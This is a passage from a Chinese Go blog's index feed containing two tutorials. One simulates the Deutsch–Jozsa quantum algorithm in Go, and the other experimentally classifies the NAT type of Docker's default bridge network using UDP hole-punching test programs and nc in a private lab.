Alice的黑箱被量子化，成为一个量子门，即用一个量子门来实现Alice的神秘黑箱f(x)，它将输入态变换为下面状态：\n∣x⟩∣y⟩ -\u0026gt; ∣x⟩|y ⊕ f(x)⟩ - ∣x⟩是工作寄存器，表示输入x - ∣y⟩是辅助寄存器，用于存储函数的输出 - ⊕ 表示模2加法(XOR)，可以用CNOT门实现。 这个操作会根据f(x)的值改变辅助比特的状态（增加一个相位因子）。\nf(x)也称为量子计算中的oracle函数，在真实的量子计算中，Oracle 函数通常是根据具体的算法和问题，通过量子门操作实现的。Deutsch–Josza Algorithm 在理论上描述了Oracle函数的行为，但在真实的量子计算中，需要具体设计量子电路来实现该函数。\n几乎所有量子算法都有自己的oracle函数，它是量子算法的核心部分。通过精心设计Oracle函数，可以将量子计算应用于各种实际问题，包括优化、搜索和密码分析等领域。\n量子干涉(第二次应用H门) 在这一阶段，我们对前n个量子比特再次应用Hadamard门。这个步骤是干涉效应的关键，利用量子干涉增强他所需的信息。\n如果当前状态为∣x⟩|y ⊕ f(x)⟩，应用H门后，前n个量子比特的状态会变为：\n在应用Hadamard门后，整个量子态变为：\n通过数学推导，结果可以证明：如果f(x)是常值，则只有∣x⟩^⊗n的概率幅为非零。如果f(x)是平衡的，则所有其他态的概率幅抵消，只留下非∣x⟩^⊗n的态。\n测量 最后，Bob测量输入比特的状态：如果结果是∣0⟩^⊗n，则得出f(x)是常值；如果结果不是∣0⟩^⊗n ，则f(x)是平衡的。\n关键是：Bob只需要一次调用黑箱即可完成判断，而不是经典算法的2^(n-1) + 1次调用。\n这个算法也代表了量子算法的一般模式，大致都是这样的：\n量子叠加：创建所有输入的可能性。 量子黑箱操作：使用Oracle函数，编码问题的特性。 量子干涉：通过相位和概率幅操控，筛选目标答案。 测量：提取结果。 在上面Bob和Alice的故事中，我们提到了量子并行计算，这也是Bob只需要一次调用黑箱即可完成判断的原因，那到底什么是量子并行计算呢？我们继续往下看。\n3.2 量子并行 如果说理解叠加态，我们还有概率这个熟知的经典概念可以利用。在理解量子并行性上，我们的大脑只能“天马行空”了。\n巧的是，量子并行性的概念也是由David Deutsch(上面多伊奇-乔萨算法的作者)于1985年在一篇开创性论文”Quantum theory, the Church–Turing principle and the universal quantum computer“中首次提出的，并由David Deutsch、Richard Jozsa和Artur Ekert后续进一步发展。普林斯顿大学官网可以免费下载这篇论文。\n不过即便是近四十年后的今天，对于量子并行这种概念的理解可能还很模糊。在经典计算中，实现并行计算理解起来非常直接，如果我有n个处理器，理论上我就可以在这n个处理器上同时执行n个不同的task。\n但在量子计算中，量子化后的Oracle函数究竟是如何“并行处理”n个量子比特的呢？在今年的一篇来自瑞典皇家理工学院Stefano Markidis的预印版论文“What is Quantum Parallelism, Anyhow?”的结论中，作者如是说：\n值得注意的是，休·埃弗雷特的多世界解释和多元宇宙假说是最直观和优雅的解释之一（wallace2012emergent；deutsch1998fabric）。根据这一解释，时间被设想为一棵多分支的树，每一个量子并行性的可能结果都在一个单独的分支或宇宙中实现。这一解释表明，每个计算路径在不同的现实分支中同时存在。这一概念与量子并行性的观念相一致，暗示所有潜在的量子计算结果在多个宇宙中并行发生。多元宇宙理论的一个重要含义是，它能够支持超越可观测宇宙中粒子数量（\u0026gt;300个量子比特）的量子并行性。在这样的情况下，多个平行宇宙可以同时容纳在不同分支上展开的计算过程，而不受单一宇宙中的粒子数量限制（deutsch1998fabric）。\n好吧！我刚好看完科幻美剧“人生复本”以及同名原著，对上述多重平行宇宙有了一个感性且直观的认知:)。\n如果你相信上述引述中的解释，那么所谓量子并行，只是多元宇宙都独立对输入做了一次计算，而对于当前的现实来看，这看起来就是一种“并行”，我们将每个宇宙当做一个“处理器”了！\nStefano Markidis认为：量子并行本质上是量子态相互作用产生的干涉图样：每个量子态都有助于形成集体干涉图样，类似于天线阵列中信号的组合。然而，与多个独立进程同时运行的经典并行不同，量子并行的特点是复杂的干扰网。减少量子并行性的概念强调了量子算法中相长干涉和相消干涉之间的微妙平衡。虽然相长干扰会放大某些计算路径，但相消干扰会选择性地抑制其他计算路径，最终引导系统找到正确的解决方案。并且，传统的量子应用算法通常会经历一个初始阶段，其中它们利用所有可用的并行性、叠加计算、操纵阶段并执行测量。在此初始阶段，量子算法最大化并行性。然而，由于干扰现象，随着应用的进展，并行性会减弱，从而降低了量子并行性。也就是说在任何量子算法中，从经典输入状态产生量子并行性的机制以及减少数据并行性以识别正确答案的机制都是必不可少的。\n图来自Stefano Markidis的论文，用天线阵列信号组合的集体干涉来阐释量子并行\n不管你是否理解了，或理解了多少，我们都要向下进行了。我们来看看如何用模拟器来实现上面的Deutsch–Jozsa algorithm。\n4. Go语言实现量子计算模拟 对于量子计算初学者而言，量子编程语言和模拟器就像是通往量子世界的入口和学习工具。\n目前一些大厂提供了专门的量子编程语言以及模拟器甚至量子计算硬件(或者虚拟机)来帮助开发者了解量子计算。主流的语言包括IBM开发的Qiskit(python)、Google的Ciq(python)、微软的Q#(C#)等。量子模拟器方面，IBM Quantum Experience在线量子计算平台、Google Cirq Simulator以及Microsoft Azure Quantum等实验环境，开发者都可以以免费或较低的代价试用和使用。\n不过这里我打算用一个知名度没那么高的Go实现的量子计算模拟器，它就是github.com/itsubaki/q这个Go语言量子计算模拟器项目。q是一个用Go语言实现的开源量子计算模拟器，无外部依赖，支持基本的量子逻辑门以及测量，提供了多种量子比特操作以及量子态概率幅计算，适合Go开发者量子计算入门时使用。不过它没有对应的量子计算硬件或虚拟机，无法对接上面提到的大厂的量子计算实验环境。\nq项目有两个关键组件，一个是q.Q，这是量子模拟器核心结构，是模拟器的抽象；另外一个则是q.Qubit，是量子比特抽象。下面我们就用q来模拟一下Deutsch–Jozsa algorithm：\n// quantum-simulate/deutsch–jozsa/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;github.com/itsubaki/q\u0026#34; ) // 实现常数函数的oracle func constantOracle(qsim *q.Q, controls []q.Qubit, target q.Qubit) { // 对于常数函数，这里什么都不做 // 因为常数函数要么总是返回0，要么总是返回1 } // 实现平衡函数的oracle func balancedOracle(qsim *q.Q, controls []q.Qubit, target q.Qubit) { // 对于平衡函数，我们对输入做CNOT操作 for _, control := range controls { qsim.CNOT(control, target) } } func deutschJozsa(n int, isConstant bool) string { // 创建量子模拟器 qsim := q.New() // 创建n+1个量子比特的寄存器 // n个输入比特加1个输出比特 qreg := make([]q.Qubit, n+1) for i := range qreg { qreg[i] = qsim.Zero() } // 将输出比特置为|1\u0026gt; qsim.X(qreg[n]) // 对所有量子比特应用H门 for _, qubit := range qreg { qsim.H(qubit) } // 应用oracle if isConstant { constantOracle(qsim, qreg[:n], qreg[n]) } else { balancedOracle(qsim, qreg[:n], qreg[n]) } // 对输入寄存器应用H门 for i := 0; i \u0026lt; n; i++ { qsim.H(qreg[i]) } // 测量输入寄存器 result := \u0026#34;\u0026#34; for i := 0; i \u0026lt; n; i++ { m := qsim.Measure(qreg[i]) result += m.BinaryString() } return result } func main() { // 测试5个输入比特的情况 n := 5 // 测试常数函数 resultConstant := deutschJozsa(n, true) fmt.Printf(\u0026#34;常数函数的结果: %v\\n\u0026#34;, resultConstant) if resultConstant == \u0026#34;00000\u0026#34; { fmt.Println(\u0026#34;检测到常数函数!\u0026#34;) } // 测试平衡函数 resultBalanced := deutschJozsa(n, false) fmt.Printf(\u0026#34;平衡函数的结果: %v\\n\u0026#34;, resultBalanced) if resultBalanced != \u0026#34;00000\u0026#34; { fmt.Println(\u0026#34;检测到平衡函数!\u0026#34;) } } 前面的量子计算理论知识有助于你理解这段代码，这里简单解释一下。\n这段代码模拟实现了Deutsch–Jozsa algorithm，并分别进行了两次不同实现的Oracle函数查询，当然正常的算法只需查询一次即可，这里是为了模拟演示两种不同的情况。\n代码首先进行了量子寄存器初始化：创建了n+1个量子比特：n个输入比特和1个输出比特，初始状态都是|0\u0026gt;：\nqreg := make([]q.Qubit, n+1) for i := range qreg { qreg[i] = qsim.Zero() } 然后对输出比特应用Pauli-X门进行翻转，将其转换为|1\u0026gt;状态：\nqsim.X(qreg[n]) 对所有量子比特应用Hadamard门，将输入比特和输出比特置于叠加态，目的是同时”探测”所有可能的输入组合:\nfor _, qubit := range qreg { qsim.H(qreg[i]) } 查询Oracle函数进行量子并行计算：\nif isConstant { constantOracle(qsim, qreg[:n], qreg[n]) } else { balancedOracle(qsim, qreg[:n], qreg[n]) } 对输入寄存器再次应用H门进行量子干涉：\nfor i := 0; i \u0026lt; n; i++ { qsim.H(qreg[i]) } 测量输入寄存器，根据测量结果判断函数类型：\n// 测量输入寄存器 result := \u0026#34;\u0026#34; for i := 0; i \u0026lt; n; i++ { m := qsim.Measure(qreg[i]) result += m.BinaryString() } 运行这个程序，你应该能看到如下输出：\n$go run main.go 常数函数的结果: 00000 检测到常数函数! 平衡函数的结果: 11111 检测到平衡函数! 注意：我们使用经典计算模拟量子计算，oracle函数并不存在真正的量子并行，从代码也可以看出，是用for循环对每个量子比特顺序处理了一遍来模拟量子并行。\n5. 小结 本文探讨了量子计算的基本概念及其与经典计算的关系，包括回顾了经典计算机的基本原理，包括比特、布尔逻辑和门电路模型，并引入了量子计算的核心概念，如量子比特（qubit）、叠加态、量子纠缠等。量子比特的叠加态使其能够同时表示多种状态，显著提升了计算能力。\n文章后半部分还以Deutsch–Jozsa这个入门级量子算法为例，介绍了量子算法以及算法的一般模式。并使用github.com/itsubaki/q这个Go语言量子计算模拟器项目模拟实现了该算法，以帮助大家理解。\n不过相对于经典计算算法，量子计算算法在理解上依然有很高门槛，文中仅仅以Deutsch–Jozsa这个入门级量子算法举例，像Grover’s search algorithm、Shor’s factoring algorithm等常见的实用量子算法理解起来更有难度。\n就目前量子计算机的发展来看，尽管量子计算展现出在特定领域的潜力，但目前对经典计算领域的影响依然不大，更别提无法全面取代经典计算机了。对于普通开发人员来说，可以逐步理解量子计算的概念、思路、算法和编程范式，为以后量子计算成熟打好基础。\n不过，量子计算的指数级加速算力能力已经被证实，在密码学领域，科研人员已经发布了可以抵御量子计算破解的密码算法，比如： ML-KEM(之前称为Kyber)德根。这些密码学算法被统称为“后量子密码学算法(Post Quantum Cryptography)”。Go密码学团队已经在标准库中给出了ML-KEM的实现，预计将在Go 1.24版本落地。\n本文是我个人学习量子计算的笔记，内容源自我查阅的大量书籍，同时也结合了AI大模型的辅助。由于这是我第一次学习量子计算，加之该领域的内容相对抽象且复杂，因此笔记中可能存在一些错误，敬请谅解。\n本文涉及的源码可以在这里下载。\n6. 参考资料 Let’s Go Quantum – https://sam-burns.com/posts/gophercon-uk-2024-talk-lets-go-quantum/ 量子计算与量子信息 – https://book.douban.com/subject/35777059/ 图解量子计算机 – https://book.douban.com/subject/35793310/ 量子计算Python与Q#编程实战 – https://book.douban.com/subject/36926013/ 布洛赫球 – https://eli.thegreenplace.net/2024/bloch-sphere/ Bloch sphere – https://en.wikipedia.org/wiki/Bloch_sphere Quantum Computation Simulator for Go – https://github.com/itsubaki/q 量子计算发展态势研究报告(2024) – http://www.caict.ac.cn/kxyj/qwfb/ztbg/202409/P020240925556609114480.pdf IBM Qiskit – https://www.ibm.com/quantum/qiskit Python量子计算实践: 基于Qiskit和IBM Quantum Experience平台 – https://book.douban.com/subject/36849971/ What is Quantum Parallelism, Anyhow? – https://arxiv.org/abs/2405.07222 Deutsch–Jozsa algorithm – https://en.wikipedia.org/wiki/Deutsch%E2%80%93Jozsa_algorithm Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/12/11/simulate-quantum-computing-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 49\" loading=\"lazy\" src=\"/images/wp-content/uploads/simulate-quantum-computing-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/12/11/simulate-quantum-computing-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/12/11/simulate-quantum-computing-in-go\"\u003ehttps://tonybai.com/2024/12/11/simulate-quantum-computing-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2019年，Google宣布实现”量子霸权”，声称其53量子比特的量子计算机完成了一个经典超级计算机需要1万年才能完成的计算任务。这一宣告在当时引发了广泛关注和热议。而在这个过程中，我们也看到了太多对量子计算的误解。有人将其想象成\u003cstrong\u003e未来取代经典计算机的全能机器\u003c/strong\u003e，认为它能以指数级速度解决所有计算问题；也有人认为量子计算只是一个遥不可及的科研概念，与实际应用毫无关联。\u003c/p\u003e","title":"量子计算入门与Go模拟"},{"content":"\n本文永久链接 – https://tonybai.com/2024/12/05/exploring-nat-mapping-assignment-and-filtering-behavior-of-docker-default-network\n在《WebRTC第一课：网络架构与NAT工作原理》一文中，我们对WebRTC的网路架构进行说明，了解到了NAT的工作原理、RFC 3489对NAT的四种传统分类以及较新的RFC 4787中按分配行为和过滤行为对NAT行为的分类。\n不过，“纸上得来终觉浅，绝知此事要躬行”，在这篇文章中，我打算选取一个具体的NAT实现进行案例研究(Case Study)。在市面上的NAT实现中，Docker容器的网络NAT绝对是最容易获得的一种实现。因此，我们将把Docker默认网络的NAT实现机制作为本篇的研究对象，探索该NAT的分配行为和过滤行为，以确定Docker默认网络的NAT类型。\n为了这次探索，我们首选需要构建实验网络环境。\n1. 构建实验环境 Docker默认网络使用NAT（网络地址转换）来允许容器访问外部网络。创建容器时，如果未指定网络设置，容器会连接到默认的”bridge”网络，并分配一个内部IP地址（通常在172.17.0.0/16范围内）。Docker在宿主机上创建一个虚拟网桥（docker0），作为容器与外部网络的接口。当容器尝试访问外部网络时，使用源网络地址转换（SNAT），将内部IP和端口转换为宿主机的IP和一个随机高位端口，以便与外部网络通信。Docker通过配置iptables规则来实现这些NAT功能，处理数据包的转发、地址转换和过滤。\n基于上述描述，我们用两台主机来构建一个实验环境，拓扑图如下：\n从上图可以看到：我们的实验环境有两台主机：192.168.0.124和192.168.0.125。在124上，我们基于docker默认网络启动一个容器，在该容器中放置一个用于NAT打洞验证的nat-hole-puncher程序，该程序通过访问192.168.0.125上的udp-client-addr-display程序在Docker的NAT上留下一个“洞”，然后我们在125上使用nc(natcat)工具验证是否可以通过这个洞向容器发送数据。\n我们要确定Docker默认网络NAT的具体类型，需要进行一些测试来观察其行为。具体来说，主要需要关注两个方面：\n端口分配行为：观察NAT是如何为内部主机（容器）分配外部端口的。 过滤行为：检查NAT如何处理和过滤入站数据的，是否与源IP、源Port有关等。 接下来，我们来准备一下验证NAT类型需要的两个程序：nat-hole-puncher和udp-client-addr-display。\n2. 准备nat-hole-puncher程序和udp-client-addr-display程序 下图描述了nat-hole-puncher、udp-client-addr-display以及nc命令的交互流程：\n三者的交互流程在图中已经用文字标记的十分清楚了。\n根据该图中的逻辑，我们分别实现一下nat-hole-puncher和udp-client-addr-display。\n下面是nat-hole-puncher的源码：\n// docker-default-nat/nat-hole-puncher/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;net\u0026#34; \u0026#34;os\u0026#34; \u0026#34;strconv\u0026#34; ) func main() { if len(os.Args) != 5 { fmt.Println(\u0026#34;Usage: nat-hole-puncher \u0026lt;local_ip\u0026gt; \u0026lt;local_port\u0026gt; \u0026lt;target_ip\u0026gt; \u0026lt;target_port\u0026gt;\u0026#34;) return } localIP := os.Args[1] localPort := os.Args[2] targetIP := os.Args[3] targetPort := os.Args[4] // 向target_ip:target_port发送数据 err := sendUDPMessage(\u0026#34;Hello, World!\u0026#34;, localIP, localPort, targetIP+\u0026#34;:\u0026#34;+targetPort) if err != nil { fmt.Println(\u0026#34;Error sending message:\u0026#34;, err) return } fmt.Println(\u0026#34;sending message to\u0026#34;, targetIP+\u0026#34;:\u0026#34;+targetPort, \u0026#34;ok\u0026#34;) // 向target_ip:target_port+1发送数据 p, _ := strconv.Atoi(targetPort) nextTargetPort := fmt.Sprintf(\u0026#34;%d\u0026#34;, p+1) err = sendUDPMessage(\u0026#34;Hello, World!\u0026#34;, localIP, localPort, targetIP+\u0026#34;:\u0026#34;+nextTargetPort) if err != nil { fmt.Println(\u0026#34;Error sending message:\u0026#34;, err) return } fmt.Println(\u0026#34;sending message to\u0026#34;, targetIP+\u0026#34;:\u0026#34;+nextTargetPort, \u0026#34;ok\u0026#34;) // 重新监听local addr startUDPReceiver(localIP, localPort) } func sendUDPMessage(message, localIP, localPort, target string) error { addr, err := net.ResolveUDPAddr(\u0026#34;udp\u0026#34;, target) if err != nil { return err } lport, _ := strconv.Atoi(localPort) conn, err := net.DialUDP(\u0026#34;udp\u0026#34;, \u0026amp;net.UDPAddr{ IP: net.ParseIP(localIP), Port: lport, }, addr) if err != nil { return err } defer conn.Close() // 发送数据 _, err = conn.Write([]byte(message)) if err != nil { return err } return nil } func startUDPReceiver(ip, port string) { addr, err := net.ResolveUDPAddr(\u0026#34;udp\u0026#34;, ip+\u0026#34;:\u0026#34;+port) if err != nil { fmt.Println(\u0026#34;Error resolving address:\u0026#34;, err) return } conn, err := net.ListenUDP(\u0026#34;udp\u0026#34;, addr) if err != nil { fmt.Println(\u0026#34;Error listening:\u0026#34;, err) return } defer conn.Close() fmt.Println(\u0026#34;listen address:\u0026#34;, ip+\u0026#34;:\u0026#34;+port, \u0026#34;ok\u0026#34;) buf := make([]byte, 1024) for { n, senderAddr, err := conn.ReadFromUDP(buf) if err != nil { fmt.Println(\u0026#34;Error reading:\u0026#34;, err) return } fmt.Printf(\u0026#34;Received message: %s from %s\\n\u0026#34;, string(buf[:n]), senderAddr.String()) } } 我们将其编译完打到镜像中去，Makefile和Dockerfile如下：\n// docker-default-nat/nat-hole-puncher/Makefile all: CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o nat-hole-puncher main.go image: docker build -t nat-hole-puncher . // docker-default-nat/nat-hole-puncher/Dockerfile # 使用 Alpine 作为基础镜像 FROM alpine:latest # 创建工作目录 WORKDIR /app # 复制已编译的可执行文件到镜像中 COPY nat-hole-puncher . # 设置文件权限 RUN chmod +x nat-hole-puncher 执行构建和打镜像命令：\n$ make CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o nat-hole-puncher main.go $ make image docker build -t nat-hole-puncher . [+] Building 0.7s (9/9) FINISHED docker:default =\u0026gt; [internal] load .dockerignore 0.0s =\u0026gt; =\u0026gt; transferring context: 2B 0.0s =\u0026gt; [internal] load build definition from Dockerfile 0.0s =\u0026gt; =\u0026gt; transferring dockerfile: 265B 0.0s =\u0026gt; [internal] load metadata for docker.io/library/alpine:latest 0.0s =\u0026gt; [1/4] FROM docker.io/library/alpine:latest 0.0s =\u0026gt; [internal] load build context 0.0s =\u0026gt; =\u0026gt; transferring context: 2.70MB 0.0s =\u0026gt; CACHED [2/4] WORKDIR /app 0.0s =\u0026gt; [3/4] COPY nat-hole-puncher . 0.2s =\u0026gt; [4/4] RUN chmod +x nat-hole-puncher 0.3s =\u0026gt; exporting to image 0.1s =\u0026gt; =\u0026gt; exporting layers 0.1s =\u0026gt; =\u0026gt; writing image sha256:fec6c105f36b1acce5e3b0a5fb173f3cac5c700c2b07d1dc0422a5917f934530 0.0s =\u0026gt; =\u0026gt; naming to docker.io/library/nat-hole-puncher 0.0s 接下来，我们再来看看udp-client-addr-display源码：\n// docker-default-nat/udp-client-addr-display/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;net\u0026#34; \u0026#34;os\u0026#34; \u0026#34;strconv\u0026#34; \u0026#34;sync\u0026#34; ) func main() { if len(os.Args) != 3 { fmt.Println(\u0026#34;Usage: udp-client-addr-display \u0026lt;local_ip\u0026gt; \u0026lt;local_port\u0026gt;\u0026#34;) return } localIP := os.Args[1] localPort := os.Args[2] var wg sync.WaitGroup wg.Add(2) go func() { defer wg.Done() startUDPReceiver(localIP, localPort) }() go func() { defer wg.Done() p, _ := strconv.Atoi(localPort) nextLocalPort := fmt.Sprintf(\u0026#34;%d\u0026#34;, p+1) startUDPReceiver(localIP, nextLocalPort) }() wg.Wait() } func startUDPReceiver(localIP, localPort string) { addr, err := net.ResolveUDPAddr(\u0026#34;udp\u0026#34;, localIP+\u0026#34;:\u0026#34;+localPort) if err != nil { fmt.Println(\u0026#34;Error:\u0026#34;, err) return } conn, err := net.ListenUDP(\u0026#34;udp\u0026#34;, addr) if err != nil { fmt.Println(\u0026#34;Error:\u0026#34;, err) return } defer conn.Close() buf := make([]byte, 1024) n, clientAddr, err := conn.ReadFromUDP(buf) if err != nil { fmt.Println(\u0026#34;Error:\u0026#34;, err) return } fmt.Printf(\u0026#34;Received message: %s from %s\\n\u0026#34;, string(buf[:n]), clientAddr.String()) } 现在两个程序都就绪了，接下来我们就开始我们的探索。\n3. 探索步骤 我们先在192.168.0.125上启动udp-client-addr-display，监听6000和6001 UDP端口：\n// 在192.168.0.125上执行 $./udp-client-addr-display 192.168.0.125 6000 然后在192.168.0.124上创建client1容器：\n// 在192.168.0.124上执行 $docker run -d --name client1 nat-hole-puncher:latest sleep infinity eeebc0fbe3c7d56e7f43cd5af19a18e65a703b3f987115c521e81bb8cdc6c0be 获取client1容器的IP地址：\n// 在192.168.0.124上执行 $docker inspect -f \u0026#39;{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}\u0026#39; client1 172.17.0.5 启动client1容器中的nat-hole-puncher程序，绑定本地5000端口，然后向192.168.0.125的6000和6001端口发送数据包：\n$ docker exec client1 /app/nat-hole-puncher 172.17.0.5 5000 192.168.0.125 6000 sending message to 192.168.0.125:6000 ok sending message to 192.168.0.125:6001 ok listen address: 172.17.0.5:5000 ok 之后，我们会在125的udp-client-addr-display输出中看到如下结果：\n./udp-client-addr-display 192.168.0.125 6000 Received message: Hello, World! from 192.168.0.124:5000 Received message: Hello, World! from 192.168.0.124:5000 通过这个结果我们得到了NAT映射后的源地址和端口：192.168.0.124:5000。\n现在我们在125上用nc程序向该映射后的地址发送三个UDP包：\n$ echo \u0026#34;hello from 192.168.0.125:6000\u0026#34; | nc -u -p 6000 -v 192.168.0.124 5000 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.0.124:5000. Ncat: 30 bytes sent, 0 bytes received in 0.01 seconds. $ echo \u0026#34;hello from 192.168.0.125:6001\u0026#34; | nc -u -p 6001 -v 192.168.0.124 5000 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.0.124:5000. Ncat: 30 bytes sent, 0 bytes received in 0.01 seconds. $ echo \u0026#34;hello from 192.168.0.125:6002\u0026#34; | nc -u -p 6002 -v 192.168.0.124 5000 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.0.124:5000. Ncat: 30 bytes sent, 0 bytes received in 0.01 seconds. 在124上，我们看到nat-hole-puncher程序输出如下结果：\nReceived message: hello from 192.168.0.125:6000 from 192.168.0.125:6000 Received message: hello from 192.168.0.125:6001 from 192.168.0.125:6001 4. 探索后的结论 通过上面的执行步骤以及输出的结果，我们从端口分配行为和过滤行为这两方面分析一下Docker默认网络NAT的行为特征。\n首先，我们先来看端口分配行为。\n在上面的探索步骤中，我们先后执行了：\n172.17.0.5:5000 -\u0026gt; 192.168.0.125:6000 172.17.0.5:5000 -\u0026gt; 192.168.0.125:6001 但从udp-client-addr-display的输出来看：\nReceived message: Hello, World! from 192.168.0.124:5000 Received message: Hello, World! from 192.168.0.124:5000 Docker默认网络的NAT的端口分配行为肯定不是Address and Port-Dependent Mapping，那么到底是不是Address-Dependent Mapping的呢？你可以将nat-hole-puncher/main.go中的startUDPReceiver调用注释掉，然后再在另外一台机器192.168.0.126上启动一个udp-client-addr-display（监听7000和7001），然后在124上分别执行：\n$ docker exec client1 /app/nat-hole-puncher 172.17.0.5 5000 192.168.0.125 6000 sending message to 192.168.0.125:6000 ok sending message to 192.168.0.125:6001 ok $ docker exec client1 /app/nat-hole-puncher 172.17.0.4 5000 192.168.0.126 7000 sending message to 192.168.0.126:7000 ok sending message to 192.168.0.126:7001 ok 而从125和126上的udp-client-addr-display的输出来看：\n//125: ./udp-client-addr-display 192.168.0.125 6000 Received message: Hello, World! from 192.168.0.124:5000 Received message: Hello, World! from 192.168.0.124:5000 //126: ./udp-client-addr-display 192.168.0.126 7000 Received message: Hello, World! from 192.168.0.124:5000 Received message: Hello, World! from 192.168.0.124:5000 可以看出：即便是target ip不同，只要源ip+port一致，NAT也只会分配同一个端口(这里是5000)，显然在端口分配行为上，Docker默认网络的NAT是Endpoint-Independent Mapping类型的！\n我们再来看过滤行为。nat-hole-puncher在NAT打洞后，我们在125上使用nc工具向该“洞”发UDP包，结果是只有nat-hole-puncher发过的目的ip和端口(比如6000和6001)才可以成功将数据通过“洞”发给nat-hole-puncher。换个端口（比如6002），数据都会被丢弃掉。即便我们没有测试从不同IP向“洞”发送udp数据，但上述过滤行为已经足够让我们判定Docker默认网络的NAT过滤行为属于Address and Port-Dependent Filtering。\n综合上述两个行为特征，如果按照传统NAT类型划分，Docker默认网络的NAT应该属于端口受限锥形。\n5. 小结 本文探讨了Docker默认网络的NAT(网络地址转换)行为。我们通过构建实验环境，使用两个自制程序(nat-hole-puncher和udp-client-addr-display)以及nc工具，来测试和分析Docker NAT的端口分配行为和过滤行为。\n主要的探索结论如下：\n端口分配行为：Docker默认网络的NAT表现为Endpoint-Independent Mapping类型。即无论目标IP和端口如何变化，只要源IP和端口相同，NAT就会分配相同的外部端口。\n过滤行为：Docker默认网络的NAT表现为Address and Port-Dependent Filtering类型。只有之前通信过的特定IP和端口组合才能成功穿透NAT发送数据包到内部网络。\n基于这两种行为特征，我们可以得出结论：按照传统NAT类型划分，Docker默认网络的NAT属于端口受限锥形(Port Restricted Cone)NAT。\n不过，在真正实践中判断一个NAT的类型无需如此费劲，RFC3489给出检测NAT类型（传统四种类别）的流程图：\ngithub上也有上述算法的开源的实现，比如：pystun3。下面是利用pystun3检测网络NAT类型的方法：\n$docker run -it python:3-alpine /bin/sh / # pip install pystun3 / # pystun3 NAT Type: Symmetric NAT External IP: xxx.xxx.xxx.xxx External Port: yyyy 注：这里pystun3的检测结果是多层NAT的结果，并非单纯的Docker默认网络的NAT类型。\n本文涉及的源码可以在这里下载 – https://github.com/bigwhite/experiments/blob/master/docker-default-nat\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/12/05/exploring-nat-mapping-assignment-and-filtering-behavior-of-docker-default-network/","summary":"\u003cp\u003e\u003cimg alt=\"Image 33\" loading=\"lazy\" src=\"/images/wp-content/uploads/exploring-nat-mapping-assignment-and-filtering-behavior-of-docker-default-network-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/12/05/exploring-nat-mapping-assignment-and-filtering-behavior-of-docker-default-network\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/12/05/exploring-nat-mapping-assignment-and-filtering-behavior-of-docker-default-network\"\u003ehttps://tonybai.com/2024/12/05/exploring-nat-mapping-assignment-and-filtering-behavior-of-docker-default-network\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在《\u003ca href=\"https://tonybai.com/2024/11/27/webrtc-first-lesson-network-architecture-and-how-nat-work/\"\u003eWebRTC第一课：网络架构与NAT工作原理\u003c/a\u003e》一文中，我们对WebRTC的网路架构进行说明，了解到了NAT的工作原理、\u003ca href=\"https://datatracker.ietf.org/doc/html/rfc3489\"\u003eRFC 3489\u003c/a\u003e对NAT的四种传统分类以及较新的\u003ca href=\"https://datatracker.ietf.org/doc/html/rfc4787\"\u003eRFC 